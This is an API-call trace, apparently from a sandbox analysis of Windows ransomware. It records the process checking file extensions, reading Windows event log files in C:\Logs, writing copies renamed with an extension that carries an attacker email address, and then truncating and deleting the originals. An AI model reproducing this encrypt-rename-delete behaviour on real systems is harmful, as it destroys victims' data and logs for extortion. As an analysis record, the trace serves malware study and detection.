	[0073.540] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.540] lstrlenW (lpString=".zip") returned 4
	[0073.540] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.540] lstrlenW (lpString=".rar") returned 4
	[0073.540] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.540] lstrlenW (lpString=".bz2") returned 4
	[0073.540] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.540] lstrlenW (lpString=".7z") returned 3
	[0073.540] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.541] lstrlenW (lpString=".dbf") returned 4
	[0073.541] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.541] lstrlenW (lpString=".1cd") returned 4
	[0073.541] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.541] lstrlenW (lpString=".jpg") returned 4
	[0073.541] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.541] lstrlenW (lpString=".doc") returned 4
	[0073.541] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString=".docx") returned 5
	[0073.541] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.541] lstrlenW (lpString=".pdf") returned 4
	[0073.541] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString=".xls") returned 4
	[0073.541] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString=".xlsx") returned 5
	[0073.541] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.541] lstrlenW (lpString=".ppt") returned 4
	[0073.541] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.541] lstrlenW (lpString=".zip") returned 4
	[0073.541] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString=".rar") returned 4
	[0073.541] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString=".bz2") returned 4
	[0073.541] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.541] lstrlenW (lpString=".7z") returned 3
	[0073.542] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.542] lstrlenW (lpString=".dbf") returned 4
	[0073.542] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.542] lstrlenW (lpString=".1cd") returned 4
	[0073.542] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.542] lstrlenW (lpString=".jpg") returned 4
	[0073.542] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.542] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.542] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43
	[0073.542] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.542] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0073.542] CloseHandle (hObject=0x33c) returned 1
	[0073.542] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20
	[0073.543] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.543] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.543] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.543] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.543] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.543] GetLastError () returned 0x0
	[0073.543] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0073.546] WriteFile (in: hFile=0x320, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0073.547] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.547] WriteFile (in: hFile=0x320, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x12a, lpOverlapped=0x0) returned 1
	[0073.548] SetEndOfFile (hFile=0x320) returned 1
	[0073.548] CloseHandle (hObject=0x320) returned 1
	[0073.550] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.550] SetEndOfFile (hFile=0x33c) returned 1
	[0073.551] CloseHandle (hObject=0x33c) returned 1
	[0073.551] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.552] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1
	[0073.552] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.552] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.552] lstrlenW (lpString=".doc") returned 4
	[0073.552] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.552] lstrlenW (lpString=".docx") returned 5
	[0073.552] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.552] lstrlenW (lpString=".pdf") returned 4
	[0073.552] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.552] lstrlenW (lpString=".xls") returned 4
	[0073.552] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.552] lstrlenW (lpString=".xlsx") returned 5
	[0073.552] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.552] lstrlenW (lpString=".ppt") returned 4
	[0073.552] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.552] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.552] lstrlenW (lpString=".zip") returned 4
	[0073.552] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.552] lstrlenW (lpString=".rar") returned 4
	[0073.553] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString=".bz2") returned 4
	[0073.553] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString=".7z") returned 3
	[0073.553] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.553] lstrlenW (lpString=".dbf") returned 4
	[0073.553] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.553] lstrlenW (lpString=".1cd") returned 4
	[0073.553] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.553] lstrlenW (lpString=".jpg") returned 4
	[0073.553] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.553] lstrlenW (lpString=".doc") returned 4
	[0073.553] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString=".docx") returned 5
	[0073.553] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.553] lstrlenW (lpString=".pdf") returned 4
	[0073.553] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString=".xls") returned 4
	[0073.553] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString=".xlsx") returned 5
	[0073.553] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.553] lstrlenW (lpString=".ppt") returned 4
	[0073.553] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.553] lstrlenW (lpString=".zip") returned 4
	[0073.553] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.553] lstrlenW (lpString=".rar") returned 4
	[0073.554] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.554] lstrlenW (lpString=".bz2") returned 4
	[0073.554] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.554] lstrlenW (lpString=".7z") returned 3
	[0073.554] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.554] lstrlenW (lpString=".dbf") returned 4
	[0073.554] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.554] lstrlenW (lpString=".1cd") returned 4
	[0073.554] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0073.554] lstrlenW (lpString=".jpg") returned 4
	[0073.554] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.554] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.554] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49
	[0073.554] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.555] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0073.555] CloseHandle (hObject=0x33c) returned 1
	[0073.555] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20
	[0073.555] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.555] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.555] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.556] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.556] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.556] GetLastError () returned 0x0
	[0073.556] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0073.558] WriteFile (in: hFile=0x320, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0073.560] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.560] WriteFile (in: hFile=0x320, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x136, lpOverlapped=0x0) returned 1
	[0073.560] SetEndOfFile (hFile=0x320) returned 1
	[0073.561] CloseHandle (hObject=0x320) returned 1
	[0073.562] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.563] SetEndOfFile (hFile=0x33c) returned 1
	[0073.564] CloseHandle (hObject=0x33c) returned 1
	[0073.564] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.564] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1
	[0073.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.564] lstrlenW (lpString=".doc") returned 4
	[0073.564] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.564] lstrlenW (lpString=".docx") returned 5
	[0073.564] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.564] lstrlenW (lpString=".pdf") returned 4
	[0073.565] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString=".xls") returned 4
	[0073.565] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString=".xlsx") returned 5
	[0073.565] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.565] lstrlenW (lpString=".ppt") returned 4
	[0073.565] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.565] lstrlenW (lpString=".zip") returned 4
	[0073.565] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString=".rar") returned 4
	[0073.565] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString=".bz2") returned 4
	[0073.565] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString=".7z") returned 3
	[0073.565] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.565] lstrlenW (lpString=".dbf") returned 4
	[0073.565] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.565] lstrlenW (lpString=".1cd") returned 4
	[0073.565] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.565] lstrlenW (lpString=".jpg") returned 4
	[0073.565] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.565] lstrlenW (lpString=".doc") returned 4
	[0073.565] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.565] lstrlenW (lpString=".docx") returned 5
	[0073.566] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.566] lstrlenW (lpString=".pdf") returned 4
	[0073.566] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.566] lstrlenW (lpString=".xls") returned 4
	[0073.566] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.566] lstrlenW (lpString=".xlsx") returned 5
	[0073.566] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.566] lstrlenW (lpString=".ppt") returned 4
	[0073.566] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.566] lstrlenW (lpString=".zip") returned 4
	[0073.566] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.566] lstrlenW (lpString=".rar") returned 4
	[0073.566] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.566] lstrlenW (lpString=".bz2") returned 4
	[0073.566] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.566] lstrlenW (lpString=".7z") returned 3
	[0073.566] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.566] lstrlenW (lpString=".dbf") returned 4
	[0073.566] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.566] lstrlenW (lpString=".1cd") returned 4
	[0073.566] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0073.566] lstrlenW (lpString=".jpg") returned 4
	[0073.566] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.566] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.567] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59
	[0073.567] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.567] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0073.567] CloseHandle (hObject=0x33c) returned 1
	[0073.567] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20
	[0073.567] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.567] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.567] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.567] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.567] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0073.998] GetLastError () returned 0x0
	[0073.998] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.000] WriteFile (in: hFile=0x37c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0074.002] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.002] WriteFile (in: hFile=0x37c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x14a, lpOverlapped=0x0) returned 1
	[0074.002] SetEndOfFile (hFile=0x37c) returned 1
	[0074.002] CloseHandle (hObject=0x37c) returned 1
	[0074.004] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.004] SetEndOfFile (hFile=0x33c) returned 1
	[0074.006] CloseHandle (hObject=0x33c) returned 1
	[0074.006] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.006] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1
	[0074.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.008] lstrlenW (lpString=".doc") returned 4
	[0074.008] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.008] lstrlenW (lpString=".docx") returned 5
	[0074.008] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.008] lstrlenW (lpString=".pdf") returned 4
	[0074.008] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.008] lstrlenW (lpString=".xls") returned 4
	[0074.008] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.008] lstrlenW (lpString=".xlsx") returned 5
	[0074.008] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.008] lstrlenW (lpString=".ppt") returned 4
	[0074.009] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.009] lstrlenW (lpString=".zip") returned 4
	[0074.009] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString=".rar") returned 4
	[0074.009] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString=".bz2") returned 4
	[0074.009] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString=".7z") returned 3
	[0074.009] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.009] lstrlenW (lpString=".dbf") returned 4
	[0074.009] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
